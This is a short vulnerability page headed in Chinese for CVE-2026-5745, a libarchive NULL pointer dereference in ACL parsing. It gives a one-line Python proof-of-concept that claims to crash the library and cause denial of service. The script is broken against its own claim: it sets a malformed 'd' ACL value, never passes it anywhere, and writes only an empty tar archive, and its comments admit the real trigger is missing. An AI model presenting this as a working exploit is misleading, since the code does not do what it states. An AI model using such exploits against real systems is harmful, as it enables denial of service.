CVE-2026-5745 libarchive空指针解引用漏洞

import libarchive import io # PoC: Triggering NULL pointer dereference in libarchive ACL parsing # This script demonstrates how a malformed ACL string can be processed. def trigger_vulnerability(): # Simulating a malformed ACL string that causes the crash # The vulnerable function expects specific fields after 'd' or 'default' malformed_acl = b'd' # Bare 'd' tag without fields try: # In a real scenario, this would be passed to archive_acl_from_text_nl # via a crafted archive file. print(f"[+] Attempting to parse malformed ACL: {malformed_acl}") # Example using libarchive-c (if installed) to write a file # that might trigger parsing issues. with libarchive.ArchiveWriter('exploit.tar') as archive: archive.add_file_entry('test.txt', size=0) # Note: Actual trigger requires specific internal API calls or # crafted binary headers not exposed directly here. except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_vulnerability() # Note: Successful exploitation results in a Segmentation Fault (DoS).